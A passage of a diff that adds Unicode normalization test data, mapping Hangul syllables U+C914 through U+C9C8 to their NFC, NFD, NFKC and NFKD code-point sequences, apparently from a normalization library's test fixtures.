+{ source: [0xC914], NFC: [0xC914], NFD: [0x110C, 0x116E, 0x11BF], NFKC: [0xC914], NFKD: [0x110C, 0x116E, 0x11BF] },
+{ source: [0xC915], NFC: [0xC915], NFD: [0x110C, 0x116E, 0x11C0], NFKC: [0xC915], NFKD: [0x110C, 0x116E, 0x11C0] },
+{ source: [0xC916], NFC: [0xC916], NFD: [0x110C, 0x116E, 0x11C1], NFKC: [0xC916], NFKD: [0x110C, 0x116E, 0x11C1] },
+{ source: [0xC917], NFC: [0xC917], NFD: [0x110C, 0x116E, 0x11C2], NFKC: [0xC917], NFKD: [0x110C, 0x116E, 0x11C2] },
+{ source: [0xC918], NFC: [0xC918], NFD: [0x110C, 0x116F], NFKC: [0xC918], NFKD: [0x110C, 0x116F] },
+{ source: [0xC919], NFC: [0xC919], NFD: [0x110C, 0x116F, 0x11A8], NFKC: [0xC919], NFKD: [0x110C, 0x116F, 0x11A8] },
+{ source: [0xC91A], NFC: [0xC91A], NFD: [0x110C, 0x116F, 0x11A9], NFKC: [0xC91A], NFKD: [0x110C, 0x116F, 0x11A9] },
+{ source: [0xC91B], NFC: [0xC91B], NFD: [0x110C, 0x116F, 0x11AA], NFKC: [0xC91B], NFKD: [0x110C, 0x116F, 0x11AA] },
+{ source: [0xC91C], NFC: [0xC91C], NFD: [0x110C, 0x116F, 0x11AB], NFKC: [0xC91C], NFKD: [0x110C, 0x116F, 0x11AB] },
+{ source: [0xC91D], NFC: [0xC91D], NFD: [0x110C, 0x116F, 0x11AC], NFKC: [0xC91D], NFKD: [0x110C, 0x116F, 0x11AC] },
+{ source: [0xC91E], NFC: [0xC91E], NFD: [0x110C, 0x116F, 0x11AD], NFKC: [0xC91E], NFKD: [0x110C, 0x116F, 0x11AD] },
+{ source: [0xC91F], NFC: [0xC91F], NFD: [0x110C, 0x116F, 0x11AE], NFKC: [0xC91F], NFKD: [0x110C, 0x116F, 0x11AE] },
+{ source: [0xC920], NFC: [0xC920], NFD: [0x110C, 0x116F, 0x11AF], NFKC: [0xC920], NFKD: [0x110C, 0x116F, 0x11AF] },
+{ source: [0xC921], NFC: [0xC921], NFD: [0x110C, 0x116F, 0x11B0], NFKC: [0xC921], NFKD: [0x110C, 0x116F, 0x11B0] },
+{ source: [0xC922], NFC: [0xC922], NFD: [0x110C, 0x116F, 0x11B1], NFKC: [0xC922], NFKD: [0x110C, 0x116F, 0x11B1] },
+{ source: [0xC923], NFC: [0xC923], NFD: [0x110C, 0x116F, 0x11B2], NFKC: [0xC923], NFKD: [0x110C, 0x116F, 0x11B2] },
+{ source: [0xC924], NFC: [0xC924], NFD: [0x110C, 0x116F, 0x11B3], NFKC: [0xC924], NFKD: [0x110C, 0x116F, 0x11B3] },
+{ source: [0xC925], NFC: [0xC925], NFD: [0x110C, 0x116F, 0x11B4], NFKC: [0xC925], NFKD: [0x110C, 0x116F, 0x11B4] },
+{ source: [0xC926], NFC: [0xC926], NFD: [0x110C, 0x116F, 0x11B5], NFKC: [0xC926], NFKD: [0x110C, 0x116F, 0x11B5] },
+{ source: [0xC927], NFC: [0xC927], NFD: [0x110C, 0x116F, 0x11B6], NFKC: [0xC927], NFKD: [0x110C, 0x116F, 0x11B6] },
+{ source: [0xC928], NFC: [0xC928], NFD: [0x110C, 0x116F, 0x11B7], NFKC: [0xC928], NFKD: [0x110C, 0x116F, 0x11B7] },
+{ source: [0xC929], NFC: [0xC929], NFD: [0x110C, 0x116F, 0x11B8], NFKC: [0xC929], NFKD: [0x110C, 0x116F, 0x11B8] },
+{ source: [0xC92A], NFC: [0xC92A], NFD: [0x110C, 0x116F, 0x11B9], NFKC: [0xC92A], NFKD: [0x110C, 0x116F, 0x11B9] },
+{ source: [0xC92B], NFC: [0xC92B], NFD: [0x110C, 0x116F, 0x11BA], NFKC: [0xC92B], NFKD: [0x110C, 0x116F, 0x11BA] },
+{ source: [0xC92C], NFC: [0xC92C], NFD: [0x110C, 0x116F, 0x11BB], NFKC: [0xC92C], NFKD: [0x110C, 0x116F, 0x11BB] },
+{ source: [0xC92D], NFC: [0xC92D], NFD: [0x110C, 0x116F, 0x11BC], NFKC: [0xC92D], NFKD: [0x110C, 0x116F, 0x11BC] },
+{ source: [0xC92E], NFC: [0xC92E], NFD: [0x110C, 0x116F, 0x11BD], NFKC: [0xC92E], NFKD: [0x110C, 0x116F, 0x11BD] },
+{ source: [0xC92F], NFC: [0xC92F], NFD: [0x110C, 0x116F, 0x11BE], NFKC: [0xC92F], NFKD: [0x110C, 0x116F, 0x11BE] },
+{ source: [0xC930], NFC: [0xC930], NFD: [0x110C, 0x116F, 0x11BF], NFKC: [0xC930], NFKD: [0x110C, 0x116F, 0x11BF] },
+{ source: [0xC931], NFC: [0xC931], NFD: [0x110C, 0x116F, 0x11C0], NFKC: [0xC931], NFKD: [0x110C, 0x116F, 0x11C0] },
+{ source: [0xC932], NFC: [0xC932], NFD: [0x110C, 0x116F, 0x11C1], NFKC: [0xC932], NFKD: [0x110C, 0x116F, 0x11C1] },
+{ source: [0xC933], NFC: [0xC933], NFD: [0x110C, 0x116F, 0x11C2], NFKC: [0xC933], NFKD: [0x110C, 0x116F, 0x11C2] },
+{ source: [0xC934], NFC: [0xC934], NFD: [0x110C, 0x1170], NFKC: [0xC934], NFKD: [0x110C, 0x1170] },
+{ source: [0xC935], NFC: [0xC935], NFD: [0x110C, 0x1170, 0x11A8], NFKC: [0xC935], NFKD: [0x110C, 0x1170, 0x11A8] },
+{ source: [0xC936], NFC: [0xC936], NFD: [0x110C, 0x1170, 0x11A9], NFKC: [0xC936], NFKD: [0x110C, 0x1170, 0x11A9] },
+{ source: [0xC937], NFC: [0xC937], NFD: [0x110C, 0x1170, 0x11AA], NFKC: [0xC937], NFKD: [0x110C, 0x1170, 0x11AA] },
+{ source: [0xC938], NFC: [0xC938], NFD: [0x110C, 0x1170, 0x11AB], NFKC: [0xC938], NFKD: [0x110C, 0x1170, 0x11AB] },
+{ source: [0xC939], NFC: [0xC939], NFD: [0x110C, 0x1170, 0x11AC], NFKC: [0xC939], NFKD: [0x110C, 0x1170, 0x11AC] },
+{ source: [0xC93A], NFC: [0xC93A], NFD: [0x110C, 0x1170, 0x11AD], NFKC: [0xC93A], NFKD: [0x110C, 0x1170, 0x11AD] },
+{ source: [0xC93B], NFC: [0xC93B], NFD: [0x110C, 0x1170, 0x11AE], NFKC: [0xC93B], NFKD: [0x110C, 0x1170, 0x11AE] },
+{ source: [0xC93C], NFC: [0xC93C], NFD: [0x110C, 0x1170, 0x11AF], NFKC: [0xC93C], NFKD: [0x110C, 0x1170, 0x11AF] },
+{ source: [0xC93D], NFC: [0xC93D], NFD: [0x110C, 0x1170, 0x11B0], NFKC: [0xC93D], NFKD: [0x110C, 0x1170, 0x11B0] },
+{ source: [0xC93E], NFC: [0xC93E], NFD: [0x110C, 0x1170, 0x11B1], NFKC: [0xC93E], NFKD: [0x110C, 0x1170, 0x11B1] },
+{ source: [0xC93F], NFC: [0xC93F], NFD: [0x110C, 0x1170, 0x11B2], NFKC: [0xC93F], NFKD: [0x110C, 0x1170, 0x11B2] },
+{ source: [0xC940], NFC: [0xC940], NFD: [0x110C, 0x1170, 0x11B3], NFKC: [0xC940], NFKD: [0x110C, 0x1170, 0x11B3] },
+{ source: [0xC941], NFC: [0xC941], NFD: [0x110C, 0x1170, 0x11B4], NFKC: [0xC941], NFKD: [0x110C, 0x1170, 0x11B4] },
+{ source: [0xC942], NFC: [0xC942], NFD: [0x110C, 0x1170, 0x11B5], NFKC: [0xC942], NFKD: [0x110C, 0x1170, 0x11B5] },
+{ source: [0xC943], NFC: [0xC943], NFD: [0x110C, 0x1170, 0x11B6], NFKC: [0xC943], NFKD: [0x110C, 0x1170, 0x11B6] },
+{ source: [0xC944], NFC: [0xC944], NFD: [0x110C, 0x1170, 0x11B7], NFKC: [0xC944], NFKD: [0x110C, 0x1170, 0x11B7] },
+{ source: [0xC945], NFC: [0xC945], NFD: [0x110C, 0x1170, 0x11B8], NFKC: [0xC945], NFKD: [0x110C, 0x1170, 0x11B8] },
+{ source: [0xC946], NFC: [0xC946], NFD: [0x110C, 0x1170, 0x11B9], NFKC: [0xC946], NFKD: [0x110C, 0x1170, 0x11B9] },
+{ source: [0xC947], NFC: [0xC947], NFD: [0x110C, 0x1170, 0x11BA], NFKC: [0xC947], NFKD: [0x110C, 0x1170, 0x11BA] },
+{ source: [0xC948], NFC: [0xC948], NFD: [0x110C, 0x1170, 0x11BB], NFKC: [0xC948], NFKD: [0x110C, 0x1170, 0x11BB] },
+{ source: [0xC949], NFC: [0xC949], NFD: [0x110C, 0x1170, 0x11BC], NFKC: [0xC949], NFKD: [0x110C, 0x1170, 0x11BC] },
+{ source: [0xC94A], NFC: [0xC94A], NFD: [0x110C, 0x1170, 0x11BD], NFKC: [0xC94A], NFKD: [0x110C, 0x1170, 0x11BD] },
+{ source: [0xC94B], NFC: [0xC94B], NFD: [0x110C, 0x1170, 0x11BE], NFKC: [0xC94B], NFKD: [0x110C, 0x1170, 0x11BE] },
+{ source: [0xC94C], NFC: [0xC94C], NFD: [0x110C, 0x1170, 0x11BF], NFKC: [0xC94C], NFKD: [0x110C, 0x1170, 0x11BF] },
+{ source: [0xC94D], NFC: [0xC94D], NFD: [0x110C, 0x1170, 0x11C0], NFKC: [0xC94D], NFKD: [0x110C, 0x1170, 0x11C0] },
+{ source: [0xC94E], NFC: [0xC94E], NFD: [0x110C, 0x1170, 0x11C1], NFKC: [0xC94E], NFKD: [0x110C, 0x1170, 0x11C1] },
+{ source: [0xC94F], NFC: [0xC94F], NFD: [0x110C, 0x1170, 0x11C2], NFKC: [0xC94F], NFKD: [0x110C, 0x1170, 0x11C2] },
+{ source: [0xC950], NFC: [0xC950], NFD: [0x110C, 0x1171], NFKC: [0xC950], NFKD: [0x110C, 0x1171] },
+{ source: [0xC951], NFC: [0xC951], NFD: [0x110C, 0x1171, 0x11A8], NFKC: [0xC951], NFKD: [0x110C, 0x1171, 0x11A8] },
+{ source: [0xC952], NFC: [0xC952], NFD: [0x110C, 0x1171, 0x11A9], NFKC: [0xC952], NFKD: [0x110C, 0x1171, 0x11A9] },
+{ source: [0xC953], NFC: [0xC953], NFD: [0x110C, 0x1171, 0x11AA], NFKC: [0xC953], NFKD: [0x110C, 0x1171, 0x11AA] },
+{ source: [0xC954], NFC: [0xC954], NFD: [0x110C, 0x1171, 0x11AB], NFKC: [0xC954], NFKD: [0x110C, 0x1171, 0x11AB] },
+{ source: [0xC955], NFC: [0xC955], NFD: [0x110C, 0x1171, 0x11AC], NFKC: [0xC955], NFKD: [0x110C, 0x1171, 0x11AC] },
+{ source: [0xC956], NFC: [0xC956], NFD: [0x110C, 0x1171, 0x11AD], NFKC: [0xC956], NFKD: [0x110C, 0x1171, 0x11AD] },
+{ source: [0xC957], NFC: [0xC957], NFD: [0x110C, 0x1171, 0x11AE], NFKC: [0xC957], NFKD: [0x110C, 0x1171, 0x11AE] },
+{ source: [0xC958], NFC: [0xC958], NFD: [0x110C, 0x1171, 0x11AF], NFKC: [0xC958], NFKD: [0x110C, 0x1171, 0x11AF] },
+{ source: [0xC959], NFC: [0xC959], NFD: [0x110C, 0x1171, 0x11B0], NFKC: [0xC959], NFKD: [0x110C, 0x1171, 0x11B0] },
+{ source: [0xC95A], NFC: [0xC95A], NFD: [0x110C, 0x1171, 0x11B1], NFKC: [0xC95A], NFKD: [0x110C, 0x1171, 0x11B1] },
+{ source: [0xC95B], NFC: [0xC95B], NFD: [0x110C, 0x1171, 0x11B2], NFKC: [0xC95B], NFKD: [0x110C, 0x1171, 0x11B2] },
+{ source: [0xC95C], NFC: [0xC95C], NFD: [0x110C, 0x1171, 0x11B3], NFKC: [0xC95C], NFKD: [0x110C, 0x1171, 0x11B3] },
+{ source: [0xC95D], NFC: [0xC95D], NFD: [0x110C, 0x1171, 0x11B4], NFKC: [0xC95D], NFKD: [0x110C, 0x1171, 0x11B4] },
+{ source: [0xC95E], NFC: [0xC95E], NFD: [0x110C, 0x1171, 0x11B5], NFKC: [0xC95E], NFKD: [0x110C, 0x1171, 0x11B5] },
+{ source: [0xC95F], NFC: [0xC95F], NFD: [0x110C, 0x1171, 0x11B6], NFKC: [0xC95F], NFKD: [0x110C, 0x1171, 0x11B6] },
+{ source: [0xC960], NFC: [0xC960], NFD: [0x110C, 0x1171, 0x11B7], NFKC: [0xC960], NFKD: [0x110C, 0x1171, 0x11B7] },
+{ source: [0xC961], NFC: [0xC961], NFD: [0x110C, 0x1171, 0x11B8], NFKC: [0xC961], NFKD: [0x110C, 0x1171, 0x11B8] },
+{ source: [0xC962], NFC: [0xC962], NFD: [0x110C, 0x1171, 0x11B9], NFKC: [0xC962], NFKD: [0x110C, 0x1171, 0x11B9] },
+{ source: [0xC963], NFC: [0xC963], NFD: [0x110C, 0x1171, 0x11BA], NFKC: [0xC963], NFKD: [0x110C, 0x1171, 0x11BA] },
+{ source: [0xC964], NFC: [0xC964], NFD: [0x110C, 0x1171, 0x11BB], NFKC: [0xC964], NFKD: [0x110C, 0x1171, 0x11BB] },
+{ source: [0xC965], NFC: [0xC965], NFD: [0x110C, 0x1171, 0x11BC], NFKC: [0xC965], NFKD: [0x110C, 0x1171, 0x11BC] },
+{ source: [0xC966], NFC: [0xC966], NFD: [0x110C, 0x1171, 0x11BD], NFKC: [0xC966], NFKD: [0x110C, 0x1171, 0x11BD] },
+{ source: [0xC967], NFC: [0xC967], NFD: [0x110C, 0x1171, 0x11BE], NFKC: [0xC967], NFKD: [0x110C, 0x1171, 0x11BE] },
+{ source: [0xC968], NFC: [0xC968], NFD: [0x110C, 0x1171, 0x11BF], NFKC: [0xC968], NFKD: [0x110C, 0x1171, 0x11BF] },
+{ source: [0xC969], NFC: [0xC969], NFD: [0x110C, 0x1171, 0x11C0], NFKC: [0xC969], NFKD: [0x110C, 0x1171, 0x11C0] },
+{ source: [0xC96A], NFC: [0xC96A], NFD: [0x110C, 0x1171, 0x11C1], NFKC: [0xC96A], NFKD: [0x110C, 0x1171, 0x11C1] },
+{ source: [0xC96B], NFC: [0xC96B], NFD: [0x110C, 0x1171, 0x11C2], NFKC: [0xC96B], NFKD: [0x110C, 0x1171, 0x11C2] },
+{ source: [0xC96C], NFC: [0xC96C], NFD: [0x110C, 0x1172], NFKC: [0xC96C], NFKD: [0x110C, 0x1172] },
+{ source: [0xC96D], NFC: [0xC96D], NFD: [0x110C, 0x1172, 0x11A8], NFKC: [0xC96D], NFKD: [0x110C, 0x1172, 0x11A8] },
+{ source: [0xC96E], NFC: [0xC96E], NFD: [0x110C, 0x1172, 0x11A9], NFKC: [0xC96E], NFKD: [0x110C, 0x1172, 0x11A9] },
+{ source: [0xC96F], NFC: [0xC96F], NFD: [0x110C, 0x1172, 0x11AA], NFKC: [0xC96F], NFKD: [0x110C, 0x1172, 0x11AA] },
+{ source: [0xC970], NFC: [0xC970], NFD: [0x110C, 0x1172, 0x11AB], NFKC: [0xC970], NFKD: [0x110C, 0x1172, 0x11AB] },
+{ source: [0xC971], NFC: [0xC971], NFD: [0x110C, 0x1172, 0x11AC], NFKC: [0xC971], NFKD: [0x110C, 0x1172, 0x11AC] },
+{ source: [0xC972], NFC: [0xC972], NFD: [0x110C, 0x1172, 0x11AD], NFKC: [0xC972], NFKD: [0x110C, 0x1172, 0x11AD] },
+{ source: [0xC973], NFC: [0xC973], NFD: [0x110C, 0x1172, 0x11AE], NFKC: [0xC973], NFKD: [0x110C, 0x1172, 0x11AE] },
+{ source: [0xC974], NFC: [0xC974], NFD: [0x110C, 0x1172, 0x11AF], NFKC: [0xC974], NFKD: [0x110C, 0x1172, 0x11AF] },
+{ source: [0xC975], NFC: [0xC975], NFD: [0x110C, 0x1172, 0x11B0], NFKC: [0xC975], NFKD: [0x110C, 0x1172, 0x11B0] },
+{ source: [0xC976], NFC: [0xC976], NFD: [0x110C, 0x1172, 0x11B1], NFKC: [0xC976], NFKD: [0x110C, 0x1172, 0x11B1] },
+{ source: [0xC977], NFC: [0xC977], NFD: [0x110C, 0x1172, 0x11B2], NFKC: [0xC977], NFKD: [0x110C, 0x1172, 0x11B2] },
+{ source: [0xC978], NFC: [0xC978], NFD: [0x110C, 0x1172, 0x11B3], NFKC: [0xC978], NFKD: [0x110C, 0x1172, 0x11B3] },
+{ source: [0xC979], NFC: [0xC979], NFD: [0x110C, 0x1172, 0x11B4], NFKC: [0xC979], NFKD: [0x110C, 0x1172, 0x11B4] },
+{ source: [0xC97A], NFC: [0xC97A], NFD: [0x110C, 0x1172, 0x11B5], NFKC: [0xC97A], NFKD: [0x110C, 0x1172, 0x11B5] },
+{ source: [0xC97B], NFC: [0xC97B], NFD: [0x110C, 0x1172, 0x11B6], NFKC: [0xC97B], NFKD: [0x110C, 0x1172, 0x11B6] },
+{ source: [0xC97C], NFC: [0xC97C], NFD: [0x110C, 0x1172, 0x11B7], NFKC: [0xC97C], NFKD: [0x110C, 0x1172, 0x11B7] },
+{ source: [0xC97D], NFC: [0xC97D], NFD: [0x110C, 0x1172, 0x11B8], NFKC: [0xC97D], NFKD: [0x110C, 0x1172, 0x11B8] },
+{ source: [0xC97E], NFC: [0xC97E], NFD: [0x110C, 0x1172, 0x11B9], NFKC: [0xC97E], NFKD: [0x110C, 0x1172, 0x11B9] },
+{ source: [0xC97F], NFC: [0xC97F], NFD: [0x110C, 0x1172, 0x11BA], NFKC: [0xC97F], NFKD: [0x110C, 0x1172, 0x11BA] },
+{ source: [0xC980], NFC: [0xC980], NFD: [0x110C, 0x1172, 0x11BB], NFKC: [0xC980], NFKD: [0x110C, 0x1172, 0x11BB] },
+{ source: [0xC981], NFC: [0xC981], NFD: [0x110C, 0x1172, 0x11BC], NFKC: [0xC981], NFKD: [0x110C, 0x1172, 0x11BC] },
+{ source: [0xC982], NFC: [0xC982], NFD: [0x110C, 0x1172, 0x11BD], NFKC: [0xC982], NFKD: [0x110C, 0x1172, 0x11BD] },
+{ source: [0xC983], NFC: [0xC983], NFD: [0x110C, 0x1172, 0x11BE], NFKC: [0xC983], NFKD: [0x110C, 0x1172, 0x11BE] },
+{ source: [0xC984], NFC: [0xC984], NFD: [0x110C, 0x1172, 0x11BF], NFKC: [0xC984], NFKD: [0x110C, 0x1172, 0x11BF] },
+{ source: [0xC985], NFC: [0xC985], NFD: [0x110C, 0x1172, 0x11C0], NFKC: [0xC985], NFKD: [0x110C, 0x1172, 0x11C0] },
+{ source: [0xC986], NFC: [0xC986], NFD: [0x110C, 0x1172, 0x11C1], NFKC: [0xC986], NFKD: [0x110C, 0x1172, 0x11C1] },
+{ source: [0xC987], NFC: [0xC987], NFD: [0x110C, 0x1172, 0x11C2], NFKC: [0xC987], NFKD: [0x110C, 0x1172, 0x11C2] },
+{ source: [0xC988], NFC: [0xC988], NFD: [0x110C, 0x1173], NFKC: [0xC988], NFKD: [0x110C, 0x1173] },
+{ source: [0xC989], NFC: [0xC989], NFD: [0x110C, 0x1173, 0x11A8], NFKC: [0xC989], NFKD: [0x110C, 0x1173, 0x11A8] },
+{ source: [0xC98A], NFC: [0xC98A], NFD: [0x110C, 0x1173, 0x11A9], NFKC: [0xC98A], NFKD: [0x110C, 0x1173, 0x11A9] },
+{ source: [0xC98B], NFC: [0xC98B], NFD: [0x110C, 0x1173, 0x11AA], NFKC: [0xC98B], NFKD: [0x110C, 0x1173, 0x11AA] },
+{ source: [0xC98C], NFC: [0xC98C], NFD: [0x110C, 0x1173, 0x11AB], NFKC: [0xC98C], NFKD: [0x110C, 0x1173, 0x11AB] },
+{ source: [0xC98D], NFC: [0xC98D], NFD: [0x110C, 0x1173, 0x11AC], NFKC: [0xC98D], NFKD: [0x110C, 0x1173, 0x11AC] },
+{ source: [0xC98E], NFC: [0xC98E], NFD: [0x110C, 0x1173, 0x11AD], NFKC: [0xC98E], NFKD: [0x110C, 0x1173, 0x11AD] },
+{ source: [0xC98F], NFC: [0xC98F], NFD: [0x110C, 0x1173, 0x11AE], NFKC: [0xC98F], NFKD: [0x110C, 0x1173, 0x11AE] },
+{ source: [0xC990], NFC: [0xC990], NFD: [0x110C, 0x1173, 0x11AF], NFKC: [0xC990], NFKD: [0x110C, 0x1173, 0x11AF] },
+{ source: [0xC991], NFC: [0xC991], NFD: [0x110C, 0x1173, 0x11B0], NFKC: [0xC991], NFKD: [0x110C, 0x1173, 0x11B0] },
+{ source: [0xC992], NFC: [0xC992], NFD: [0x110C, 0x1173, 0x11B1], NFKC: [0xC992], NFKD: [0x110C, 0x1173, 0x11B1] },
+{ source: [0xC993], NFC: [0xC993], NFD: [0x110C, 0x1173, 0x11B2], NFKC: [0xC993], NFKD: [0x110C, 0x1173, 0x11B2] },
+{ source: [0xC994], NFC: [0xC994], NFD: [0x110C, 0x1173, 0x11B3], NFKC: [0xC994], NFKD: [0x110C, 0x1173, 0x11B3] },
+{ source: [0xC995], NFC: [0xC995], NFD: [0x110C, 0x1173, 0x11B4], NFKC: [0xC995], NFKD: [0x110C, 0x1173, 0x11B4] },
+{ source: [0xC996], NFC: [0xC996], NFD: [0x110C, 0x1173, 0x11B5], NFKC: [0xC996], NFKD: [0x110C, 0x1173, 0x11B5] },
+{ source: [0xC997], NFC: [0xC997], NFD: [0x110C, 0x1173, 0x11B6], NFKC: [0xC997], NFKD: [0x110C, 0x1173, 0x11B6] },
+{ source: [0xC998], NFC: [0xC998], NFD: [0x110C, 0x1173, 0x11B7], NFKC: [0xC998], NFKD: [0x110C, 0x1173, 0x11B7] },
+{ source: [0xC999], NFC: [0xC999], NFD: [0x110C, 0x1173, 0x11B8], NFKC: [0xC999], NFKD: [0x110C, 0x1173, 0x11B8] },
+{ source: [0xC99A], NFC: [0xC99A], NFD: [0x110C, 0x1173, 0x11B9], NFKC: [0xC99A], NFKD: [0x110C, 0x1173, 0x11B9] },
+{ source: [0xC99B], NFC: [0xC99B], NFD: [0x110C, 0x1173, 0x11BA], NFKC: [0xC99B], NFKD: [0x110C, 0x1173, 0x11BA] },
+{ source: [0xC99C], NFC: [0xC99C], NFD: [0x110C, 0x1173, 0x11BB], NFKC: [0xC99C], NFKD: [0x110C, 0x1173, 0x11BB] },
+{ source: [0xC99D], NFC: [0xC99D], NFD: [0x110C, 0x1173, 0x11BC], NFKC: [0xC99D], NFKD: [0x110C, 0x1173, 0x11BC] },
+{ source: [0xC99E], NFC: [0xC99E], NFD: [0x110C, 0x1173, 0x11BD], NFKC: [0xC99E], NFKD: [0x110C, 0x1173, 0x11BD] },
+{ source: [0xC99F], NFC: [0xC99F], NFD: [0x110C, 0x1173, 0x11BE], NFKC: [0xC99F], NFKD: [0x110C, 0x1173, 0x11BE] },
+{ source: [0xC9A0], NFC: [0xC9A0], NFD: [0x110C, 0x1173, 0x11BF], NFKC: [0xC9A0], NFKD: [0x110C, 0x1173, 0x11BF] },
+{ source: [0xC9A1], NFC: [0xC9A1], NFD: [0x110C, 0x1173, 0x11C0], NFKC: [0xC9A1], NFKD: [0x110C, 0x1173, 0x11C0] },
+{ source: [0xC9A2], NFC: [0xC9A2], NFD: [0x110C, 0x1173, 0x11C1], NFKC: [0xC9A2], NFKD: [0x110C, 0x1173, 0x11C1] },
+{ source: [0xC9A3], NFC: [0xC9A3], NFD: [0x110C, 0x1173, 0x11C2], NFKC: [0xC9A3], NFKD: [0x110C, 0x1173, 0x11C2] },
+{ source: [0xC9A4], NFC: [0xC9A4], NFD: [0x110C, 0x1174], NFKC: [0xC9A4], NFKD: [0x110C, 0x1174] },
+{ source: [0xC9A5], NFC: [0xC9A5], NFD: [0x110C, 0x1174, 0x11A8], NFKC: [0xC9A5], NFKD: [0x110C, 0x1174, 0x11A8] },
+{ source: [0xC9A6], NFC: [0xC9A6], NFD: [0x110C, 0x1174, 0x11A9], NFKC: [0xC9A6], NFKD: [0x110C, 0x1174, 0x11A9] },
+{ source: [0xC9A7], NFC: [0xC9A7], NFD: [0x110C, 0x1174, 0x11AA], NFKC: [0xC9A7], NFKD: [0x110C, 0x1174, 0x11AA] },
+{ source: [0xC9A8], NFC: [0xC9A8], NFD: [0x110C, 0x1174, 0x11AB], NFKC: [0xC9A8], NFKD: [0x110C, 0x1174, 0x11AB] },
+{ source: [0xC9A9], NFC: [0xC9A9], NFD: [0x110C, 0x1174, 0x11AC], NFKC: [0xC9A9], NFKD: [0x110C, 0x1174, 0x11AC] },
+{ source: [0xC9AA], NFC: [0xC9AA], NFD: [0x110C, 0x1174, 0x11AD], NFKC: [0xC9AA], NFKD: [0x110C, 0x1174, 0x11AD] },
+{ source: [0xC9AB], NFC: [0xC9AB], NFD: [0x110C, 0x1174, 0x11AE], NFKC: [0xC9AB], NFKD: [0x110C, 0x1174, 0x11AE] },
+{ source: [0xC9AC], NFC: [0xC9AC], NFD: [0x110C, 0x1174, 0x11AF], NFKC: [0xC9AC], NFKD: [0x110C, 0x1174, 0x11AF] },
+{ source: [0xC9AD], NFC: [0xC9AD], NFD: [0x110C, 0x1174, 0x11B0], NFKC: [0xC9AD], NFKD: [0x110C, 0x1174, 0x11B0] },
+{ source: [0xC9AE], NFC: [0xC9AE], NFD: [0x110C, 0x1174, 0x11B1], NFKC: [0xC9AE], NFKD: [0x110C, 0x1174, 0x11B1] },
+{ source: [0xC9AF], NFC: [0xC9AF], NFD: [0x110C, 0x1174, 0x11B2], NFKC: [0xC9AF], NFKD: [0x110C, 0x1174, 0x11B2] },
+{ source: [0xC9B0], NFC: [0xC9B0], NFD: [0x110C, 0x1174, 0x11B3], NFKC: [0xC9B0], NFKD: [0x110C, 0x1174, 0x11B3] },
+{ source: [0xC9B1], NFC: [0xC9B1], NFD: [0x110C, 0x1174, 0x11B4], NFKC: [0xC9B1], NFKD: [0x110C, 0x1174, 0x11B4] },
+{ source: [0xC9B2], NFC: [0xC9B2], NFD: [0x110C, 0x1174, 0x11B5], NFKC: [0xC9B2], NFKD: [0x110C, 0x1174, 0x11B5] },
+{ source: [0xC9B3], NFC: [0xC9B3], NFD: [0x110C, 0x1174, 0x11B6], NFKC: [0xC9B3], NFKD: [0x110C, 0x1174, 0x11B6] },
+{ source: [0xC9B4], NFC: [0xC9B4], NFD: [0x110C, 0x1174, 0x11B7], NFKC: [0xC9B4], NFKD: [0x110C, 0x1174, 0x11B7] },
+{ source: [0xC9B5], NFC: [0xC9B5], NFD: [0x110C, 0x1174, 0x11B8], NFKC: [0xC9B5], NFKD: [0x110C, 0x1174, 0x11B8] },
+{ source: [0xC9B6], NFC: [0xC9B6], NFD: [0x110C, 0x1174, 0x11B9], NFKC: [0xC9B6], NFKD: [0x110C, 0x1174, 0x11B9] },
+{ source: [0xC9B7], NFC: [0xC9B7], NFD: [0x110C, 0x1174, 0x11BA], NFKC: [0xC9B7], NFKD: [0x110C, 0x1174, 0x11BA] },
+{ source: [0xC9B8], NFC: [0xC9B8], NFD: [0x110C, 0x1174, 0x11BB], NFKC: [0xC9B8], NFKD: [0x110C, 0x1174, 0x11BB] },
+{ source: [0xC9B9], NFC: [0xC9B9], NFD: [0x110C, 0x1174, 0x11BC], NFKC: [0xC9B9], NFKD: [0x110C, 0x1174, 0x11BC] },
+{ source: [0xC9BA], NFC: [0xC9BA], NFD: [0x110C, 0x1174, 0x11BD], NFKC: [0xC9BA], NFKD: [0x110C, 0x1174, 0x11BD] },
+{ source: [0xC9BB], NFC: [0xC9BB], NFD: [0x110C, 0x1174, 0x11BE], NFKC: [0xC9BB], NFKD: [0x110C, 0x1174, 0x11BE] },
+{ source: [0xC9BC], NFC: [0xC9BC], NFD: [0x110C, 0x1174, 0x11BF], NFKC: [0xC9BC], NFKD: [0x110C, 0x1174, 0x11BF] },
+{ source: [0xC9BD], NFC: [0xC9BD], NFD: [0x110C, 0x1174, 0x11C0], NFKC: [0xC9BD], NFKD: [0x110C, 0x1174, 0x11C0] },
+{ source: [0xC9BE], NFC: [0xC9BE], NFD: [0x110C, 0x1174, 0x11C1], NFKC: [0xC9BE], NFKD: [0x110C, 0x1174, 0x11C1] },
+{ source: [0xC9BF], NFC: [0xC9BF], NFD: [0x110C, 0x1174, 0x11C2], NFKC: [0xC9BF], NFKD: [0x110C, 0x1174, 0x11C2] },
+{ source: [0xC9C0], NFC: [0xC9C0], NFD: [0x110C, 0x1175], NFKC: [0xC9C0], NFKD: [0x110C, 0x1175] },
+{ source: [0xC9C1], NFC: [0xC9C1], NFD: [0x110C, 0x1175, 0x11A8], NFKC: [0xC9C1], NFKD: [0x110C, 0x1175, 0x11A8] },
+{ source: [0xC9C2], NFC: [0xC9C2], NFD: [0x110C, 0x1175, 0x11A9], NFKC: [0xC9C2], NFKD: [0x110C, 0x1175, 0x11A9] },
+{ source: [0xC9C3], NFC: [0xC9C3], NFD: [0x110C, 0x1175, 0x11AA], NFKC: [0xC9C3], NFKD: [0x110C, 0x1175, 0x11AA] },
+{ source: [0xC9C4], NFC: [0xC9C4], NFD: [0x110C, 0x1175, 0x11AB], NFKC: [0xC9C4], NFKD: [0x110C, 0x1175, 0x11AB] },
+{ source: [0xC9C5], NFC: [0xC9C5], NFD: [0x110C, 0x1175, 0x11AC], NFKC: [0xC9C5], NFKD: [0x110C, 0x1175, 0x11AC] },
+{ source: [0xC9C6], NFC: [0xC9C6], NFD: [0x110C, 0x1175, 0x11AD], NFKC: [0xC9C6], NFKD: [0x110C, 0x1175, 0x11AD] },
+{ source: [0xC9C7], NFC: [0xC9C7], NFD: [0x110C, 0x1175, 0x11AE], NFKC: [0xC9C7], NFKD: [0x110C, 0x1175, 0x11AE] },
+{ source: [0xC9C8], NFC: [0xC9C8], NFD: [0x110C, 0x1175, 0x11AF], NFKC: [0xC9C8], NFKD: [0x110C, 0x1175, 0x11AF] },
